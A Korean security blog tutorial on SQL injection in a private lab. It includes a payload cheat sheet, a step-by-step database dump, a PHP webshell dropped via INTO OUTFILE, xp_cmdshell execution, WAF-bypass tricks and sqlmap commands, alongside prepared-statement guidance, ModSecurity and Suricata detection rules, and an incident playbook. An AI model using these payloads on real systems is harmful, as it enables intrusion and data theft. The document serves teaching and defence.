SQL Injection (SQLi)

💡 SQL Injection (SQLi) 심층 분석 및 백엔드 데이터베이스 장악 실무 가이드 (Master Spec)

📌 핵심 요약 (TL;DR)

• 본질: 웹 애플리케이션이 클라이언트로부터 입력받은 데이터를 검증 없이 데이터베이스 쿼리(Query) 문자열에 동적으로 결합(Concatenation)할 때 발생하는 파괴적인 구문 삽입 취약점임.
• 위협 및 목적: 공격자는 인증 로직을 우회하여 관리자 권한을 탈취하거나, 타겟 인프라의 모든 민감 데이터(개인정보, 결제 정보)를 덤프(Dump)하며, 심지어 DB 서버의 OS 명령어 실행(RCE) 권한까지 찬탈함.
• 대응 방안: WAF(웹 방화벽)의 필터링은 임시방편일 뿐이며, 백엔드 소스코드 레벨에서 Prepared Statements(파라미터화된 쿼리) 또는 ORM(JPA, Hibernate) 을 강제 적용하여 데이터가 쿼리 구문으로 해석되는 것을 커널 단에서 원천 차단해야 함.

---

📑 목차 (Table of Contents)

---

⚠️ 면책 조항 (Disclaimer)
본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(로컬 DVWA, bWAPP 등 개인 랩 환경)에서만 수행됨.
허가되지 않은 타인의 데이터베이스에 무단 쿼리를 주입하거나 데이터를 열람, 유출하는 행위는 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제48조 위반으로 엄중한 형사처벌 대상임.
모든 분석은 벤더사 공식 레퍼런스 및 OWASP Top 10 공인 데이터를 기반으로 작성됨.

📖 학습 목적: 백엔드와 RDBMS 간의 취약한 통신 아키텍처를 이해하고, Secure Coding 기반의 데이터 계층 방어 전략을 수립하기 위한 학습 및 지식 공유 목적임.

---

자주 등장하는 용어 (초보자 참고)

약어	전체 명칭	한 줄 설명
RDBMS	Relational Database Management System	MySQL, Oracle, MS-SQL 등 테이블 기반의 관계형 데이터를 저장하고 관리하는 백엔드 코어 시스템임
Query	질의 (SQL 쿼리)	데이터베이스에 정보를 삽입(INSERT), 조회(SELECT), 수정(UPDATE), 삭제(DELETE)하기 위해 내리는 구조화된 명령문임
In-Band	인밴드 (대역 내)	공격 데이터를 보낸 통신 채널(웹 브라우저 화면)을 통해 공격의 결과값(DB 데이터)을 그대로 돌려받는 가장 직관적인 공격 방식임
Blind SQLi	블라인드 SQL 인젝션	쿼리의 결과가 화면에 직접 출력되지 않을 때, 참/거짓 반응이나 응답 시간의 지연(Time-delay)을 통해 데이터를 한 글자씩 유추해 내는 스텔스 기법임
OOB	Out-Of-Band (대역 외)	방화벽이 HTTP 응답을 막고 있을 때, DB 서버가 직접 해커의 DNS나 HTTP 서버로 데이터를 전송하도록 만드는 고급 반출 기법임

---

1. 🏗️ 아키텍처 및 랩(Lab) 토폴로지

• 난이도: 중급 (관계형 데이터베이스 구조 및 SQL 기본 문법 이해 요구)
• 주제 분류: 웹 모의해킹 / 데이터베이스 보안 / 백엔드 시큐어 코딩
• 핵심 키워드: #SQLi #DatabaseHacking #OWASP #SQLMap #BlindSQLi #WAF_Bypass
• 사전 지식: SQL Method (SELECT, UNION, JOIN), HTTP GET/POST Method, URL 인코딩

(💡 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인 권장함.)

구분	OS / 플랫폼 (버전 필수)	컨테이너 / 네트워크 환경	IP 대역	인프라 내 역할
공격 (Red)	Kali Linux 2026.x	네이티브 모의 공격망	10.0.0.50/24	Burp Suite로 취약한 파라미터를 식별하고, sqlmap 도구를 활용하여 타겟 DB의 스키마와 테이블 데이터를 통째로 덤프함
타겟 (Target)	Ubuntu 24.04 / MySQL 8.x	온프레미스 웹/DB 서버망	10.0.0.100/24	로그인 창 및 상품 검색 API에서 Prepared Statements를 적용하지 않아, 사용자의 입력값이 쿼리로 직접 해석되는 취약한 서버임
방어 (Blue)	Nginx / ModSecurity	온프레미스 코어 프록시	10.0.0.254/24	WAF 룰셋을 통해 UNION, SELECT, SLEEP() 등의 SQL 키워드가 파라미터에 포함된 악의적 L7 트래픽을 즉각 Drop 차단함

아키텍처 통신 흐름도 (SQLi 쿼리 조작 및 인증 우회 워크플로우)

[공격자 브라우저 (10.0.0.50)]
          || (1. 로그인 폼 ID 입력란에 `admin' -- ` 페이로드를 사출함)
          VV
[타겟 백엔드 서버 (10.0.0.100:80)]
          || (2. 입력값을 검증하지 않고 문자열 결합을 수행함: SELECT * FROM users WHERE id='admin' -- ' AND pw='')
          VV
[타겟 RDBMS (10.0.0.100:3306)]
          || (3. `--` 주석 처리로 인해 패스워드 검증 로직이 소멸함)
          || (4. 조건이 참(True)이 되어 admin 계정의 정보를 백엔드로 반환함)
          VV
[공격자 브라우저] ⮜══ (5. 패스워드 없이 최고 관리자 세션 발급을 완료함)

---

2. 🧠 핵심 개념 및 기술적 정의

2-1. 상세 정의 및 동작 메커니즘

• 정의: 해커가 웹 브라우저의 입력 폼(URL 파라미터, POST 바디, HTTP 헤더 등)에 조작된 SQL 예약어를 삽입하여, 백엔드가 의도하지 않은 비정상적인 데이터베이스 쿼리를 실행하도록 강제하는 인젝션 기법임.
• 탄생 배경: 개발자가 "데이터(Data)"와 "코드(Code)"를 명확히 분리하지 않는 절차적 프로그래밍 관행에서 기원함. 동적 쿼리(Dynamic Query)를 생성할 때 단순 문자열 덧붙이기("SELECT * FROM tbl WHERE id = '" + userInput + "'" )를 사용하면, userInput 자체에 포함된 따옴표(')가 쿼리의 문맥을 파괴하고 새로운 구문의 시작을 알리는 트리거 역할을 해버림.
• 메커니즘 (Syntax Break & Injection 아키텍처):
  • 공격의 핵심은 타겟 백엔드 개발자가 작성한 기존 쿼리의 문법(Syntax)을 의도적으로 파괴(Break)하는 데 있음.
  • 작은따옴표(')를 주입하여 기존 구문을 닫아버리고, UNION, OR, AND 연산자를 이어 붙여 해커의 악의적 쿼리를 병합(Injection)한 뒤, 기존 쿼리의 남은 찌꺼기 로직을 주석(--, #)으로 날려버리는 정교한 퍼즐 맞추기 과정임.

2-2. MITRE ATT&CK & Kill Chain 매핑

Kill Chain Phase	MITRE Tactic (전술)	Technique (기법)	ID
Initial Access	Initial Access	Exploit Public-Facing Application	T1190
Execution	Execution	Command and Scripting Interpreter (xp_cmdshell)	T1059.005
Credential Access	Credential Access	Credentials from Password Stores (DB Dump)	T1555
Exfiltration	Exfiltration	Exfiltration Over Alternative Protocol (OOB SQLi)	T1048

---

3. ⚙️ 주요 특징 및 분류 (3대 벡터 전수 명세)

3-1. SQLi 3대 공격 벡터 심층 분류

• In-Band SQLi (인밴드 방식):
  • Error-Based: 쿼리 문법을 고의로 틀리게 입력하여, DB가 반환하는 에러 메시지(예: MySQL Error 1064)를 화면에 강제 노출시킴. 이 에러 로그 속에 DB 버전이나 테이블 이름이 평문으로 담겨 나오는 치명적인 정보 유출을 유도함.
  • Union-Based: UNION SELECT 연산자를 사용하여 타겟 테이블의 결과 셋(Result Set)에 해커가 원하는 다른 테이블(예: users)의 데이터를 강제로 이어 붙여 화면에 동시 출력시키는 가장 강력하고 직관적인 기법임.
• Inferential SQLi (추론형 / Blind 방식):
  • Boolean-Based: 화면에 데이터나 에러 메시지가 출력되지 않을 때, 주입한 쿼리가 '참(True)'인지 '거짓(False)'인지에 따라 미세하게 달라지는 화면 렌더링(예: "게시글 존재함" vs "게시글 없음")을 기반으로 스무고개 하듯 데이터를 한 글자씩 유추함.
  • Time-Based: 화면 변화조차 없을 때, SLEEP(5) 또는 WAITFOR DELAY 명령어를 주입하여 서버의 응답 시간이 5초 지연되는지 여부로 참/거짓을 판별하는 극한의 맹인(Blind) 헌팅 기법임.
• Out-of-Band SQLi (대역 외 방식):
  • 원리: DB 서버가 HTTP 응답을 클라이언트에게 주지 않도록 설계된 아키텍처(비동기 로직 등)에서, DB 내부 함수(LOAD_FILE(), xp_dirtree)를 악용하여 해커가 통제하는 외부 DNS 서버나 HTTP 서버로 직접 쿼리 결과를 전송(Exfiltration)시킴.

3-2. 실무 관점 장단점 및 트레이드오프

구분	시스템 관점 특성	보안 및 실무 관점의 트레이드오프
장점 1	압도적인 파급력 (Impact)	터지는 순간 백엔드 인프라의 존재 의의인 '데이터'의 기밀성, 무결성, 가용성(CIA)이 100% 붕괴됨
장점 2	완전 자동화 툴 생태계	sqlmap 이라는 압도적인 오픈소스 도구가 존재하여, 파라미터 하나만 던져주면 DB 종류 판별부터 WAF 우회, 병렬 덤프까지 원클릭으로 장악을 수행함
단점 1	모던 프레임워크에 의한 소멸	Spring(JPA), Django(ORM) 등 최신 백엔드 프레임워크는 디폴트로 파라미터 바인딩을 수행하므로, 레거시 코드나 날 쿼리(Raw Query)가 아니면 공격 시도 자체가 무의미함
단점 2	WAF의 철저한 시그니처 매칭	SQL 예약어(SELECT, UNION, INFORMATION_SCHEMA)는 영어 단어이므로, WAF가 정규식으로 차단(Drop)하기 매우 용이하여 우회 난이도가 극도로 높음
단점 3	Time-Based의 극심한 오버헤드	블라인드 방식은 데이터베이스 덤프 속도가 초당 몇 바이트 수준으로 극악하게 느리며, 과도한 SLEEP 쿼리는 DB 서버의 커넥션 풀(Connection Pool)을 고갈시켜 장애를 유발함

---

4. 🛠️ 인프라 셋업 및 구축 명세

4-1. 사전 요구 사항 (Dependencies)

• 운영 환경: Kali Linux 내부 터미널 환경임.
• 필수 도구: 타겟 파라미터를 자동 퍼징(Fuzzing)하고 데이터를 추출할 sqlmap 패키지가 필수적임.

4-2. 자동화 타격 도구 (SQLMap) 설치 및 셋업 (Linux Base)

# [Step 1: Kali Linux에서 최신 버전의 SQLMap 패키지 설치를 진행함]
sudo apt update && sudo apt install -y sqlmap

# [Step 2: 설치 확인 및 동작 아키텍처 점검을 수행함]
sqlmap --version
# 💡 참고: SQLMap은 6개 종류의 SQLi 기법(Boolean, Error, Union, Time, Stacked, OOB)을 모두 자동 지원하는 궁극의 DB 장악 무기임.

---

5. 📖 상세 명세 (컨텍스트별 인젝션 기법 전수 목록)

5-1. 파라미터 컨텍스트 (WHERE 절)

• 상황: 사용자 입력값이 SELECT * FROM board WHERE id = '입력값' 의 WHERE 절에 위치함.
• 돌파 기법: 쿼리를 항상 참(True)으로 만들거나, 기존 쿼리를 닫고 UNION을 덧붙임.
• 페이로드:
  • 인증 우회 (항상 참): ' OR '1'='1
  • 에러 유발 및 구문 파악: admin'" (따옴표 연속 삽입으로 짝을 깨트림).

5-2. 정렬 컨텍스트 (ORDER BY 절)

• 상황: 사용자 입력값이 SELECT * FROM tbl ORDER BY 입력값 처럼 컬럼명을 지정하는 곳에 위치함.
• 돌파 기법: ORDER BY 절에는 Prepared Statements 적용이 불가능한 경우가 많아 개발자들이 자주 방어에 실패함. 컬럼 인덱스나 IF 조건문을 삽입하여 Blind SQLi를 수행함.
• 페이로드:
  • 컬럼 개수 파악: ORDER BY 1-- , ORDER BY 2-- (에러가 날 때까지 숫자를 증가시킴).
  • Time-based 인젝션: (CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END)

5-3. 데이터 변경 컨텍스트 (INSERT / UPDATE 절)

• 상황: 사용자 입력값이 회원가입(INSERT)이나 프로필 수정(UPDATE) 로직에 위치함.
• 돌파 기법: 다중 쿼리(Stacked Queries)가 지원되는 환경(; 사용 가능)이거나, 에러 기반 함수(ExtractValue)를 삽입하여 데이터 렌더링을 강제함.
• 페이로드:
  • Error-based 추출: 1' AND ExtractValue(1, CONCAT(0x3a, (SELECT @@version))) AND '1'='1

5-4. 2차 인젝션 (Second-Order SQLi)

• 상황: 입력 시점(INSERT)에는 쿼리가 이스케이프(Escape)되어 안전하게 DB에 저장되지만, 이후 다른 페이지에서 해당 데이터를 꺼내어 쓸 때(SELECT) 두 번째 쿼리에서 인젝션이 터짐.
• 돌파 기법: 가입 시 닉네임을 admin'-- 로 생성함. 이후 관리자 페이지에서 닉네임을 기반으로 로직을 처리할 때 인젝션이 폭발함. WAF가 입력 시점을 통과시켰으므로 탐지가 극히 어려움.

---

6. 🚀 핵심 페이로드 치트시트 (Cheat Sheet)

(DBMS의 종류와 방어 환경에 따라 즉각적으로 사출할 수 있는 실전 One-Liner 페이로드 목록임.)

페이로드 (Payload)	타겟 DBMS 및 파싱 메커니즘	목적 / 우회 기법
admin' --	범용: 구문을 닫고 뒤의 패스워드 검증 로직을 주석(--)으로 완벽히 소거함	관리자 ID만 알고 패스워드는 모를 때 로그인 로직을 원천 패스함
' UNION SELECT 1, 2, @@version, 4--	범용: 기존 쿼리와 컬럼 개수를 맞춘 뒤 데이터베이스 엔진 버전을 출력시킴	백엔드 DBMS의 종류(MySQL, MS-SQL 등)를 식별하여 다음 공격 벡터를 결정할 때 사용함
1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1	MySQL: 서브쿼리를 이용하여 강제로 5초간 딜레이를 유발함	아무런 에러 로그나 출력 변화가 없는 Blind 환경에서 SQLi 취약점 존재 여부를 증명할 때 사용함
' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()--	MySQL: 현재 연결된 데이터베이스의 모든 테이블 목록을 한 줄의 문자열로 병합하여 출력함	information_schema 메타데이터 저장소를 타격하여 users 나 admin 테이블 이름을 스니핑할 때 사용함
1'; EXEC master..xp_cmdshell 'whoami'--	MS-SQL: 다중 쿼리(;)를 끊고, 시스템 명령어를 실행하는 확장 프로시저를 호출함	데이터 덤프를 넘어 타겟 DB 서버 자체를 OS 레벨(SYSTEM)로 장악할 때 사용함

---

7. 🎯 심층 킬체인 워크플로우 (Deep Dive)

7-1. 취약점 식별 연계 (CVE / CWE 명세)

식별 코드	취약점 명칭 및 익스플로잇 연계 원리	파급력 (Impact)	대응/패치
CWE-89	Improper Neutralization of Special Elements used in an SQL Command (SQL Injection) — 특수문자를 살균하지 않아 데이터가 제어 코드로 해석되는 본질적 맹점임	해커가 DB 인프라를 통째로 덤프하거나 파괴하며, 기업의 법적 존립 기반을 무너뜨림	백엔드 로직에서 PreparedStatement 인터페이스를 강제 적용하여 변수를 쿼리와 논리적으로 분리함

7-2. 킬체인 전개 스텝 분석 (실전 Database Dump 및 RCE 시나리오)

• 난이도: 최고급 (DBMS 메타데이터 구조 및 파일 I/O 권한 이해 요구)
• 전제: 타겟 서버(10.0.0.100)의 상품 검색 파라미터(?id=1)에 UNION 기반 SQLi가 터지는 것을 확인했으며, 해당 DB 유저가 FILE 권한을 보유한 심각한 상태임.

Phase 1 — 메타데이터 스니핑 및 스키마 추출 (Recon & Enumeration)

📖 Phase 1에서 배우는 것: 무작정 데이터를 공격하는 것이 아니라, information_schema를 통해 지도(Schema)부터 확보함.

/* 1. 공격자는 URL 파라미터에 다음 쿼리를 주입하여 DB 이름과 테이블 명을 알아냄. */
/* 다음 페이로드를 주입함: ?id=-1' UNION SELECT 1, database(), 3 -- */
/* 그 결과 화면에 'shop_db'가 출력됨을 확인함. */

/* 다음 페이로드를 주입함: ?id=-1' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='shop_db' -- */
/* 그 결과 화면에 'users', 'products' 테이블이 출력됨을 확인함. */

Phase 2 — 관리자 자격 증명 덤프 (Data Exfiltration)

📖 Phase 2에서 배우는 것: 파악된 지도를 바탕으로 가장 가치 있는 users 테이블의 관리자 해시값을 추출함.

/* 2. 컬럼명 파악 후, 실제 데이터를 한 번에 긁어오는 작업을 수행함. */
/* 다음 페이로드를 주입함: ?id=-1' UNION SELECT 1, CONCAT(username, ':', password), 3 FROM users -- */
/* 그 결과 화면에 'admin:e10adc3949ba59abbe56e057f20f883e' 평문이 출력됨을 확인함 (MD5 해시 탈취 성공). */

Phase 3 — 권한 상승 및 웹쉘 드랍 (RCE via INTO OUTFILE)

📖 Phase 3에서 배우는 것: 데이터 유출을 넘어, DB 서버의 디스크 I/O 권한을 악용하여 백도어(웹쉘) 파일을 생성해 냄.

/* 3. 타겟 서버의 웹 루트 경로(/var/www/html)를 유추하고, 악의적 PHP 코드를 텍스트로 밀어 넣어 물리적 파일로 저장시킴. */
/* 다음 페이로드를 주입함: ?id=-1' UNION SELECT 1, '<?php system($_GET["cmd"]); ?>', 3 INTO OUTFILE '/var/www/html/shell.php' -- */

/* 4. 브라우저에서 http://10.0.0.100/shell.php?cmd=id 로 접속하여 완벽한 OS 명령어 실행(RCE) 권한 획득을 완료함. */

---

8. ⚔️ 실전 심화 시나리오 — 보안 장비 우회 및 심층 분석 기법

📘 Scenario A: WAF 정규식 필터링 다형성 우회 (Polymorphic Bypass)

• 학습 목표: Nginx ModSecurity 등 WAF 장비가 UNION, SELECT, 공백문자(Space)를 엄격하게 차단(Drop)할 때, SQL 엔진의 유연한 파싱 메커니즘을 역이용하여 검증망을 회피함.
• 전제 조건: WAF가 단순 문자열 매칭(Black-list)에 의존함.

/* [Step 1: 공백(Space) 필터링 우회를 수행함] */
/* WAF가 'UNION SELECT' 처럼 공백을 잡을 때, 탭(%09), 줄바꿈(%0a), 혹은 멀티라인 주석으로 공백을 대체함. */
/* 다음 페이로드를 주입함: ?id=1'/**/UNION/**/SELECT/**/1,2-- */

/* [Step 2: 대소문자 및 키워드 분할 우회를 수행함] */
/* 정규식을 속이기 위해 대소문자를 섞거나 이중 인코딩을 적용함. */
/* 다음 페이로드를 주입함: ?id=1' uNiOn SeLeCt 1,2-- */

/* [Step 3: Char() 함수를 이용한 따옴표 우회 (Magic Quotes 무력화) 기법을 적용함] */
/* 타겟 서버가 입력값의 따옴표(')를 \' 로 치환하여 막을 때, 문자열을 ASCII 10진수 배열로 변환하여 쿼리를 조립함. */
/* 'admin' 이라는 문자열을 CHAR(97, 100, 109, 105, 110) 으로 대체하여 따옴표 필터링을 완벽히 무력화함. */
SELECT * FROM users WHERE username = CHAR(97, 100, 109, 105, 110)

📘 Scenario B: SQLMap을 이용한 Time-Based Blind 자동화 타격

• 학습 목표: WAF 우회를 위해 스크립트로 작성하기엔 너무 복잡한 Time-based Blind 쿼리를 sqlmap의 탬퍼(Tamper) 스크립트와 결합하여 전자동화 폭격을 수행함.

# [Step 1: sqlmap을 구동하여 타겟 파라미터에 공백 우회 탬퍼(space2comment)를 적용하고 데이터베이스 덤프를 지시함]
sqlmap -u "http://10.0.0.100/api/search?q=apple" --technique=T --tamper=space2comment --dbs --batch

# [Step 2: 동작 원리 및 결과 검증을 수행함]
# sqlmap은 타겟 URL의 `q` 파라미터에 SLEEP() 함수를 결합한 페이로드를 초당 수십 번씩 던짐.
# 서버의 응답 시간이 5초 이상 지연되는 빈도를 측정하여, 내부 로직이 참/거짓인지 판별하고 데이터베이스 이름을 알파벳 하나씩 추출해 냄.
# WAF의 시그니처 룰셋을 탬퍼 스크립트로 우회하며 백엔드를 서서히 붕괴시킴.

---

9. 🩹 트러블슈팅 및 장애 대응 실무 (RCA)

에러 로그 증상 (Symptom)	장애 발생 원인 분석 (Root Cause)	실무 해결책 및 조치 방안 (Resolution)
작은따옴표(')를 넣었는데 화면에 You have an error in your SQL syntax가 아니라 아무 변화가 없음	백엔드 소스코드에 Prepared Statements가 적용되어 있거나, 프레임워크가 따옴표를 이스케이프 처리(\')하여 문자열 자체로 렌더링함.	타겟 엔드포인트는 SQLi에 안전하게 설계되었으므로, 파라미터가 아닌 HTTP 헤더(User-Agent 등) 블라인드 인젝션으로 공격 벡터를 선회해야 함.
UNION SELECT 1,2,3 을 주입했더니 The used SELECT statements have a different number of columns 에러가 발생함	UNION 연산자의 원칙상, 원본 쿼리의 컬럼 개수와 해커가 덧붙인 SELECT 절의 컬럼 개수가 완벽히 일치해야 하는데 숫자가 맞지 않음.	ORDER BY 1,2,3... 기법을 통해 원본 쿼리의 정확한 컬럼 개수를 먼저 스니핑한 후 숫자를 동기화해야 함.
페이로드를 전송하는 순간 HTTP 403 Forbidden 에러가 떨어지며 연결이 끊김	클라우드 WAF(AWS WAF, Cloudflare)나 Nginx ModSecurity가 SELECT 문자가 포함된 페이로드를 L7 인스펙션 단계에서 즉각 탐지하고 차단(Drop)함.	sqlmap 의 탬퍼(Tamper) 플러그인을 활성화하여 chktoxr, base64encode 등 페이로드 다형성 변조 기능을 통해 WAF 정규식을 우회해야 함.

---

10. 🛡️ 방어 아키텍처 및 위협 헌팅 엔지니어링 실무 (Blue Team Focus)

10-1. MITRE D3FEND 프레임워크 매핑

방어 전술 (Tactic)	방어 기법 세부 항목 (Technique)	차단 원리 및 보안 메커니즘 상세 설명	ID (Code)
Harden	Parameterized Queries	쿼리의 뼈대(Structure)를 DB 엔진에 먼저 컴파일하고, 사용자 입력값은 단순 파라미터(Data)로만 바인딩하여 쿼리 변조를 커널에서 원천 차단함	D3-PQ
Isolate	Database Access Control	웹 애플리케이션용 DB 계정(User)에게 파일 읽기/쓰기(FILE) 권한 및 커맨드 실행 권한을 취소(Revoke)하여 RCE 킬체인을 격리함	D3-DAC
Detect	Web Traffic Analysis	WAF 및 NIDS 장비를 통해 HTTP 페이로드 내의 SQL 예약어(UNION, SELECT) 시그니처를 실시간 탐지하고 알람 헌팅함	D3-WTA

10-2. 온프레미스 인프라 하드닝 및 방어 기준

• 백엔드 아키텍처 멸균 검증 (Secure Coding):
  1. Prepared Statements 강제화: WAF는 뚫리기 마련이므로, Java(JDBC), Python(psycopg2), PHP(PDO) 등 모든 백엔드 로직에서 문자열 포매팅(%s 등)을 사규로 엄격히 금지함. ? 플레이스홀더를 사용하는 파라미터화된 쿼리 또는 ORM(JPA) 사용을 코드 리뷰 단계에서 강제 인포싱해야 함.
• 데이터베이스 권한 통제 (Least Privilege):
  1. 권한 분리 및 격리: 웹 서비스가 DB에 접근할 때 사용하는 계정은 오직 필요한 테이블의 SELECT, INSERT, UPDATE 권한만 가져야 함. DROP 권한이나 OS 파일 시스템에 접근하는 FILE 권한을 부여하는 것은 서버의 루트 키를 넘겨주는 행위이므로 절대 금지함.

10-3. IaC 기반 자동화 보안 설정 (Nginx ModSecurity WAF 룰셋)

(SQLi의 주요 시그니처를 L7 프록시 단에서 선제적으로 썰어버리는 인포싱 예시임.)

# [ModSecurity를 활용한 L7 SQLi 방어 룰셋 인포싱을 정의함]
# File: /etc/modsecurity/crs/REQUEST-942-APPLICATION-ATTACK-SQLI.conf

# 1. 고전적인 1=1 또는 참/거짓을 묻는 Tautology 패턴을 차단함
SecRule ARGS|ARGS_NAMES|COOKIE|XML:/* "@rx (?i)(?:'|\"|\d|`|\[|\])\s*(?:and|or|xor)\s*(?:'|\"|\d|`|\[|\])" \
    "id:942100,phase:2,block,msg:'SQL Injection Attack Detected (Tautology)'"

# 2. UNION SELECT 등 파괴적인 커맨드 인젝션 키워드를 탐지함
SecRule ARGS|ARGS_NAMES "@rx (?i)union\s+(?:all\s+)?select" \
    "id:942101,phase:2,block,msg:'SQL Injection Attack Detected (UNION SELECT)'"

# 3. Time-based Blind 공격에 사용되는 SLEEP 및 벤치마크 함수를 차단함
SecRule ARGS|ARGS_NAMES "@rx (?i)(?:sleep|benchmark|pg_sleep|waitfor\s+delay)\s*\(" \
    "id:942102,phase:2,block,msg:'SQL Injection Attack Detected (Time-Based)'"

10-4. 침해 인시던트 대응 절차 (IR Playbook)

대응 단계	실무 대응 행동 강령	인프라 담당 역할	헌팅 소요 시간
1. 탐지	DB 모니터링 툴(APM)에서 단일 세션이 초당 수천 개의 SLEEP() 쿼리 또는 500 에러를 뿜어내며 커넥션 풀을 마비시키는 스파이크를 인지함	SOC Analyst	T+0
2. 격리	즉각 WAF 대시보드에서 해당 이상 쿼리를 전송하는 공격자 IP 대역을 블랙리스트(Block) 처리하여 DB 리소스를 보호함	IR Team	T+5분
3. 증거 수집	웹 서버의 access.log 및 DBMS의 Slow Query Log를 교차 검증하여, 공격자가 주입한 페이로드의 형태와 데이터베이스 덤프 완료 여부를 딥 포렌식함	Forensic Analyst	T+30분
4. 원인 분석	백엔드 소스코드를 리버싱하여 Prepared Statements 처리가 누락된 정확한 컨트롤러(Controller) 엔드포인트를 역추적함	IR Team / Dev	T+2시간
5. 인프라 복구	취약한 쿼리 로직을 파라미터화 방식으로 시큐어 코딩 패치 후 핫픽스(CI/CD) 배포하고, 유출된 데이터(고객 정보 등)의 규모를 파악하여 법무/컴플라이언스 팀에 에스컬레이션함	SysAdmin	T+4시간

10-5. 엔터프라이즈 위협 헌팅 탐지 룰셋 (Suricata NIDS)

(WAF를 우회하거나 암호화되지 않은 내부망 통신에서 발생하는 치명적인 DB 장악 페이로드를 네트워크 코어 단에서 즉시 낚아채는 L7 탐지 룰셋임.)

# URL 파라미터나 바디에 포함된 SQL UNION SELECT 인젝션 시도를 즉각 탐지 및 차단함
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT SQL Injection - UNION SELECT Pattern Detected"; flow:established,to_server; pcre:"/(?i)union\s+(all\s+)?select/"; classtype:web-application-attack; sid:6000101; rev:1;)

# MS-SQL 서버 장악을 위한 xp_cmdshell 시스템 프로시저 호출 시도를 정밀 헌팅함
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT SQL Injection - xp_cmdshell Command Execution"; flow:established,to_server; content:"xp_cmdshell"; nocase; classtype:attempted-admin; sid:6000102; rev:1;)

---

11. 🔗 글로벌 공식 레퍼런스 데이터베이스 (References)

• OWASP SQL Injection 취약점 방어 메커니즘 공식 치트시트: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
• SQLMap 공식 GitHub 레포지토리 및 페이로드 다형성 탬퍼 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki/Usage
• MITRE ATT&CK 외부 노출 애플리케이션 익스플로잇 (T1190) 전술 심층 분석: https://attack.mitre.org/techniques/T1190/
• PortSwigger (Burp Suite) Web Security Academy SQLi 카탈로그: https://portswigger.net/web-security/sql-injection

---

12. 🏁 결론 및 비즈니스 임팩트 (Wrap-up)

🎓 이 포스팅에서 배운 보안 엔지니어링 관점

• 공격 관점의 통찰: "SQLi는 단순한 웹 버그가 아니라, 백엔드와 RDBMS 간의 신뢰 모델을 찢어발기는 프로토콜 학살임." 아무리 복잡한 비즈니스 로직과 권한 체계를 설계해 두어도, 작은따옴표(') 하나로 쿼리의 문맥이 파괴되는 순간 해커는 DB의 마스터 키를 쥔 채 기업의 모든 지적 재산과 고객 데이터를 자신의 로컬 드라이브로 덤프(Dump)함.
• 방어 관점의 통찰: "데이터베이스 엔진에게 쿼리의 '구조'와 '데이터'를 논리적으로 분리하여 전달해야 함." 수많은 필터링과 WAF 룰셋은 해커의 인코딩 우회 기법(Polymorphic) 앞에 결국 뚫리게 되어 있음. Prepared Statements를 통해 사용자 입력값을 단순한 '리터럴(Literal)'로 바인딩하는 것만이 커널 레벨에서 인젝션을 원천 차단하는 유일하고도 절대적인 해답임을 체득함.
• 다음 단계의 실무 과제: 로컬 도커(Docker) 환경에 bWAPP 컨테이너를 구동하고, sqlmap을 활용하여 타겟 DB의 메타데이터(information_schema)부터 실제 패스워드 해시까지 전자동화로 추출해 보며, 소스코드 레벨에서 PDO 바인딩 처리를 적용했을 때 해커의 공격이 어떻게 무력화되는지 방어 감각을 극한으로 숙달함.

🔰 인프라 엔지니어링 방어 철학

(✏️ Architected by Elpam.k)
"클라우드 보안 아키텍트가 무결점의 VPC 아키텍처를 설계하고 DB 포트(3306)를 철저히 프라이빗 서브넷에 격리하더라도, 웹 서버(80/443)의 컨트롤러 단에서 사용자 입력을 문자열 덧붙이기(Concatenation)로 처리하는 순간, 해커는 프론트 도어를 통해 DB 심장부까지 융단폭격을 가함." 인프라 방어의 최전선은 라우터나 방화벽이 아니라 개발자의 손끝에서 완성되는 시큐어 코딩(Secure Coding)에 있음. 모든 엔지니어는 데이터와 실행 영역이 섞이는 것을 인프라 최대의 금기로 여기고, '최소 권한의 원칙(Least Privilege)'과 '데이터 격리(Isolation)'라는 제로 트러스트 강박을 시스템 전체에 뿌리내려야 함.

---

💡 Related Posts

• 👉 [Nginx ModSecurity를 활용한 SQLi 다형성 페이로드 방어 룰셋 최적화]
• 👉 [Spring Boot JPA / Hibernate 환경에서의 SQLi 방어 아키텍처 설계]
• 👉 [SQLMap 탬퍼(Tamper) 스크립트 리버싱 및 클라우드 WAF 우회 메커니즘 분석]

오류·추가 질문은 댓글로 남겨 주시면 확인함.

---

🔖 Tistory Tags: #SQLi #SQLInjection #웹해킹 #데이터베이스보안 #모의해킹 #SQLMap #시큐어코딩 #PreparedStatements #백엔드보안

Architected by Elpam.k